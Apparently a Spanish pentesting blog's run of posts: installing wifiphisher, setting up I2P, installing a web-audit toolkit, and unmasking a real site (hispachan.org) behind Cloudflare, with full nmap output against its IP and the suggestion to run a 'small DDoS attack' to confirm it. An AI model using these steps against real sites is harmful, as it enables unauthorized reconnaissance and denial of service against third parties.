ArchLinux*/BlackArch: pacman -S wifiphisher

*Para poder realizar la instalación en un sistema ArchLinux, primero debes configurar ArchLinux como una distribución de pentesting.

Desde el código fuente:

git clone https://github.com/wifiphisher/wifiphisher.git
cd wifiphisher
sudo python2 setup.py install

Hasta aquí la primera parte de este post, en el siguiente post explicaremos el uso y las diferentes tácticas de ataque que se pueden realizar con esta herramienta. 

Síguenos en Facebook, Twitter y unete a nuestra charla en Riot. También puedes dejar su donación a nuestra cuenta Paypal.

jueves, 15 de junio de 2017

Instalación y configuración de I2P (Invisible Internet Project) en Sistemas GNU/Linux.


El proyecto I2P (Invisible Internet Protocol) nació en el año 2003 de la mano de un grupo de hackers, desarrolladores y arquitectos del software con la finalidad de crear una red virtual privada que no pudiera ser censurada y contara con buenos niveles de protección y seguridad. El funcionamiento de I2P es similar al de conocidas redes como Tor el cual consiste en enrutar el tráfico de la red por varios puntos utilizando cadenas de proxys, sin embargo aunque posea similitudes con otras redes, la red I2P está basada en el concepto de túneles entrantes y salientes, lo cual ofrece facilidad para la adaptación de programas preexistentes a la red I2P. Cada túnel está compuesto por una secuencia de nodos padres, los cuales transportan la información en un sentido unidireccional. La red I2P no se molesta por el anonimato o por ocultar a sus usuarios como las demás, todo usuario puede ser visto por los demás usuarios pero nunca saber lo que envía, hace, su contenido y con quien se comunica. De esta manera aunque no sea su finalidad, brinda un gran nivel de anonimato al momento de establecer comunicaciones con otros usuarios I2P.

I2P está escrito en Java y es complementado con modulos escritos en C y C++, lo que lo hace multiplataforma y compatible con casi todos los sistemas operativos actuales. I2P facilita al usuario la creación de servidores HTTP, FTP, SSH o SMB sin necesidad de que este posea conocimientos avanzados, estos servicios se ejecutarán de forma anonima dentro de la red.

INSTALACIÓN.

Para realizar la instalación de I2P necesitamos descargar el paquete .jar desde https://geti2p.net/en/download#unix y luego usar la orden $java -jar i2pinstall_version.jar -console desde nuestra terminal de comandos.

Descarga.


 Instalación desde la línea de comandos.


Importante: Crear una carpeta llamada "i2p" dentro de /home/$user y realizar este proceso con un usuario diferente a #root.

Durante este proceso el instalador te preguntará tres cosas, aunque dos son obvias. La primera es si deseas iniciar el proceso de instalación, para ello escribes "1" y das enter, la segunda la ruta de instalación allí debes elegir una ruta dentro del sistema donde el usuario que se está utilizando tenga permisos de lectura/escritura/ejecución, la ruta más conveniente es /home/$user/i2p y la tercera pregunta es si realmente deseas realizar la instalación, repetimos los pasos de la primera. Ya hecho esto empezará el proceso de instalación y si todo sale bien nos mostrara al final un mensaje [ Console installation done ]. La instalación mostrada en el screenshot, fue realizada con Java versión "1.8.0_131".

[shl@SecHackLabs Descargas]$ java -version
openjdk version "1.8.0_131"
OpenJDK Runtime Environment (build 1.8.0_131-b11)
OpenJDK 64-Bit Server VM (build 25.131-b11, mixed mode)

Luego de realizada esta operación, debemos ir a la carpeta /home/$user/i2p y ejecutar el siguiente comando $sudo sh i2proute install y esperar a que finalize, seguido de esto abrimos el script i2proute con nuestro editor de texto favorito y desmarcamos la línea que dice RUN_AS_USER= y luego del = colocamos el nombre de nuestro usuario, en nuestro caso shl, lo cual quedaría así: RUN_AS_USER=shl, lo guardamos, salimos y ejecutamos $sh i2proute restart, e ingresamos a la siguiente dirección en nuestro navegador http://127.0.0.1:7657 y debe aparecernos esto en nuestro navegador.


Verificamos que los servicios que necesitemos, dependiento de lo que queramos estén activos abriendo la siguiente dirección http://127.0.0.1:7657/i2ptunnelmgr.


Más abajo tenemos la opción de iniciar otros servicios alternativos.


Para tener un mejor rendimiento del servicio, es altamente recomendable configurar el ancho de banda en http://127.0.0.1:7657/config, y ajustando los parámetros de salida/entrada de acuerdo a nuestra velocidad de internet teniendo en cuenta el tope máximo que allí referencian. Cabe aclarar que el valor debe ser dado en KiloBytes (Kb)


En la parte inferior damos en "Guardar cambios" y con eso estará todo listo.


CONFIGURACIÓN DEL NAVEGADOR PARA ABRIR ENLACES .I2P.

Llegamos al momento que todos esperábamos, luego de tener instalado I2P e iniciado el servicio ¿Como hago para navegar dentro de la red i2p? Sencillo, lo primero que debes hacer es configurar el proxy de tu navegador de la siguiente manera: Para conexiones HTTP - servidor proxy: 127.0.0.1 puerto. 4444, para conexiones HTTPS - servidor proxy: 127.0.0.1 puerto: 4445, si usas Mozilla Firefox, debe quedar así:
Y listo! Ahora podremos abrir direcciones .i2p en nuestro navegador tales como son:









Con esto damos por concluído este post, en otro post explicaremos el uso de otros protocolos i2p tales como IRC, FTP y similares. Esperamos que sea de su agrado, si les gustó siguenos en Facebook, Twitter y unete a nuestra charla en Riot.

domingo, 30 de abril de 2017

Nuestra herramienta de hacking Web, ahora con soporte para distribuciones ArchLinux.


WebHack SHL es un conjunto de herramientas desarrollado por Security Hack Labs, para realizar auditorías de seguridad web desde básicas hasta avanzadas, diseñado para sistemas Debian o basados en el,  así como para sistemas ArchLinux y basados  en él. En este post anterior puedes obtener una explicación detallada de su funcionamiento, click aquí.

Instalar WebHackSHL en ArchLinux. 


Abran la Terminal:

Instalar git "si no lo tienes instalado":

~$ sudo pacman -S git


Abrimos la carpeta WebHackSHL:

~$  ls

~$ cd WebHackSHL

~$ python2 webhackshl.py


La herramienta nos actualiza y instalas las dependencias que no tenemos instaladas.


WebHackSHL verifica que el servicio tor esté activado y nos da el menu de opciones: 


#Soporte y contacto.

Sala Riot: https://riot.im/app/#/room/#securityhacklabs:matrix.org
Facebook: https://fb.me/sechacklabs
Twitter: https://twitter.com/Sechacklabs

domingo, 9 de abril de 2017

Bypasseando Cloudflare y detectando el Sistema Operativo, servicios y sus versiones en un servidor Web.


Como la gran mayoría conoce, Cloudflare es un CDN (Content Delivery Network o Red de Distribución de Contenido) gratuito que actúa como un proxy (intermediario) entre los visitantes del sitio y el servidor. Al actuar como un proxy, CloudFlare guarda temporalmente contenido estático del sitio, el cual disminuye el número de peticiones al servidor pero sigue permitiendo a los visitantes el acceso al sitio. CloudFlare tiene servidores proxy localizados alrededor del mundo. Los servidores proxy están localizados cerca de los visitantes, con lo cual estos podrán cargar el sitio más rápido directo de los servidores proxy, Cloudflare es generalmente utilizado para evitar ataques de tipo DDoS o DoS ya que al actuar como intermediario prohibe que el servidor principal sea atacado interponiendo sus proxys durante el ataque. Para realizar una auditoría a cualquier sistema, sitio web, servidor o maquina remota, es indispensable conocer la verdadera identificación (IP) de la maquina, de lo contrario todo lo que hagamos todo será inutil ya que estaría dirigido a otro objetivo que no nos interesa. A continuación explicare las maneras más efectivas y fáciles de Bypassear Cloudflare y seguidamente explicaré la detección de servicios y sus versiones, así como la manera de encontrar y explotar posibles fallos.

NOTA: Durante este post usaré la web https://hispachan.org para realizar la prueba.

* Bypasseando cloudflare.

Es el primer paso que debemos realizar, para ello podemos usar diversas maneras:
Manualmente: Podemos realizarlo mediante la busqueda manual de subdominios y revisando las IP en caso de encontrarse uno, ya que es algo tedioso podemos usar el navegador y un buscador para realizar la busqueda, por ejemplo: site: *.hispachan.org en Google, realizando un ping a cada subdominio encontrado y luego revisando que no pertenezca a cloudflare dicha IP.

Automaticamente (Con hatclud): Hatcloud es una herramienta especializada para realizar la evasión de Cloudflare, escrita en ruby y disponible en Github. Para su instalación basta con descargarla y ejecutar el script usando el comando ruby hatcloud.rb -b $sitioweb, reemplazando sitio web por el deseado, o bien usando el comando pacman -S hatcloud, este ultimo para aquellos que han seguido nuestros post sobre convertir a ArchLinux en una distro de pentesting.


Ahora probamos abriendo la direccion IP "real" que nos arroja el script y vemos que: Usa Nginx 1.11.12!


Usando bruteforce (fierce): Fierce es un script para la enumeración de DNS, el cual puede buscar todos los NS Records para probar tranferencias de zona o Zone Tranfer, realizar ataques de fuerza bruta automaticos y configurados manualmente, entre otras. Está escrito en perl y disponible los repositorios de las principales distribuciones. Se encuentra en los repositorios de la mayoria de distribuciones. Para su instalación lo hacemos desde nuestro gestor de paquetes, o bien usando pacman -S fierce, y su sintaxis básica es la siguiente: fierce.pl -dns $sitioweb, reemplazando el sitio por el deseado. Nota: Si el sistema no reconoce el comando fierce.pl, prueba con fierce.



Como podemos observar, alternativamente a los DNS de Cloudflare, nos arroja otros muy importantes, mail.hispachan.org y smtp.hispachan.org, los cuales apuntan a la misma dirección IP, abrimos esa IP en el navegador y vemos.


Muy bien, todo parece indicar que es la dirección IP real del servidor principal, para asegurarnos podemos probar un pequeño ataque DDoS y verificar si se trata de la dirección real del servidor, para este paso pueden usar la herramienta que deseen de las muchas que existen.





Bien, al parecer si es la dirección del servidor real, ahora probaremos un escaneo con Nmap para ver que podemos encontrar.

[root@SecHackLabs shl]# nmap -sV -T4 -O -v 89.248.171.171

Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-09 01:29 -05
NSE: Loaded 40 scripts for scanning.
Initiating Ping Scan at 01:29
Scanning 89.248.171.171 [4 ports]
Completed Ping Scan at 01:29, 0.19s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:29
Completed Parallel DNS resolution of 1 host. at 01:29, 0.33s elapsed
Initiating SYN Stealth Scan at 01:29
Scanning mail.hispachan.org (89.248.171.171) [1000 ports]
Discovered open port 993/tcp on 89.248.171.171
Discovered open port 587/tcp on 89.248.171.171
Discovered open port 110/tcp on 89.248.171.171
Discovered open port 80/tcp on 89.248.171.171
Discovered open port 111/tcp on 89.248.171.171
Discovered open port 21/tcp on 89.248.171.171
Discovered open port 53/tcp on 89.248.171.171
Discovered open port 22/tcp on 89.248.171.171
Discovered open port 143/tcp on 89.248.171.171
Discovered open port 3306/tcp on 89.248.171.171
Discovered open port 25/tcp on 89.248.171.171
Discovered open port 995/tcp on 89.248.171.171
Discovered open port 443/tcp on 89.248.171.171
Discovered open port 2222/tcp on 89.248.171.171
Discovered open port 465/tcp on 89.248.171.171
Completed SYN Stealth Scan at 01:29, 7.14s elapsed (1000 total ports)
Initiating Service scan at 01:29
Scanning 15 services on mail.hispachan.org (89.248.171.171)
Completed Service scan at 01:30, 48.70s elapsed (15 services on 1 host)
Initiating OS detection (try #1) against mail.hispachan.org (89.248.171.171)
Retrying OS detection (try #2) against mail.hispachan.org (89.248.171.171)
NSE: Script scanning 89.248.171.171.
Initiating NSE at 01:30
Completed NSE at 01:30, 13.24s elapsed
Initiating NSE at 01:30
Completed NSE at 01:30, 0.35s elapsed
Nmap scan report for mail.hispachan.org (89.248.171.171)
Host is up (0.16s latency).
Not shown: 979 closed ports
PORT     STATE    SERVICE        VERSION
21/tcp   open     ftp            Pure-FTPd
22/tcp   open     ssh            OpenSSH 6.6.1 (protocol 2.0)
25/tcp   open     smtp           Exim smtpd 4.87
53/tcp   open     domain         ISC BIND 9.9.4
80/tcp   open     ssl/http       Apache/2
110/tcp  open     pop3           Dovecot DirectAdmin pop3d
111/tcp  open     rpcbind        2-4 (RPC #100000)
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
143/tcp  open     imap           Dovecot imapd
443/tcp  open     ssl/ssl        Apache httpd (SSL-only mode)
445/tcp  filtered microsoft-ds
465/tcp  open     ssl/smtp       Exim smtpd 4.87
587/tcp  open     smtp           Exim smtpd 4.87
593/tcp  filtered http-rpc-epmap
993/tcp  open     ssl/imap       Dovecot DirectAdmin imapd
995/tcp  open     ssl/pop3       Dovecot DirectAdmin pop3d
2222/tcp open     http           DirectAdmin httpd 1.50.1 (Registered to Ecatel International Network)
3306/tcp open     mysql          MariaDB (unauthorized)
4444/tcp filtered krb524
6129/tcp filtered unknown
Device type: general purpose|storage-misc|firewall|WAP
Running (JUST GUESSING): Linux 4.X|3.X|2.6.X|2.4.X (96%), Synology DiskStation Manager 5.X (87%), WatchGuard Fireware 11.X (87%)
OS CPE: cpe:/o:linux:linux_kernel:4.4 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:linux:linux_kernel:2.4
Aggressive OS guesses: Linux 4.4 (96%), Linux 4.0 (93%), Linux 3.11 - 4.1 (92%), Linux 2.6.32 (92%), Linux 2.6.32 or 3.10 (92%), Linux 3.10 - 3.12 (92%), Linux 2.6.32 - 2.6.35 (90%), Linux 3.13 (90%), Linux 2.6.32 - 2.6.39 (90%), Linux 2.6.32 - 3.0 (89%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 2.088 days (since Thu Apr  6 23:23:53 2017)
Network Distance: 14 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: b06s25.novogara.com; OS: Red Hat Enterprise Linux 7; CPE: cpe:/o:redhat:enterprise_linux:7

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.57 seconds
           Raw packets sent: 1111 (51.064KB) | Rcvd: 1072 (44.920KB)

Como  podemos observar el equipo usa un sistema GNU/Linux y tiene muchos puertos abiertos, los cuales podemos ir probando cada uno a su gusto en su navegador o realizar un escaneo con nmap a un puerto especifico. Existe un puerto en especial, el 2222 que tiene como descripción DirectAdmin httpd 1.50.1 (Registered to Ecatel International Network), lo abrimos y podemos observar que es un panel Login de Administración!





Este servicio lo provee una compañia con esta pagina web https://www.directadmin.com de hecho podemos realizar un demo en la misma pagina web entrando a https://demo.directadmin.com:2222/ usando las credenciales demo_admin y la passwd demo.



 Ahora regresando a nuestra pagina objetivo, nmap nos arroja que la versión de dicho software es 1.50.1, echemos un vistazo para ver si existen vulnerabilidades disponibles.

Aquí encontramos una, la cual afecta a la mencionada versión. Ver vulnerabilidad.

Como podemos observar, si realizamos un procedimiento correcto podemos hacer las cosas de la manera más sencilla y eficiente, no continuaré con el proceso de explotación ya que estaría convirtiendo esto en un post de estilo black-hat y esa no es nuestra filosofia. Aclaramos que de antes de realizar este procedimiento con la anterior pagina web se pidieron los respectivos permisos. Si tienes alguna duda, sugerencia o pregunta, dejala en los comentarios y si les gustó siguenos en Facebook, Twitter y unete a nuestra charla en Riot.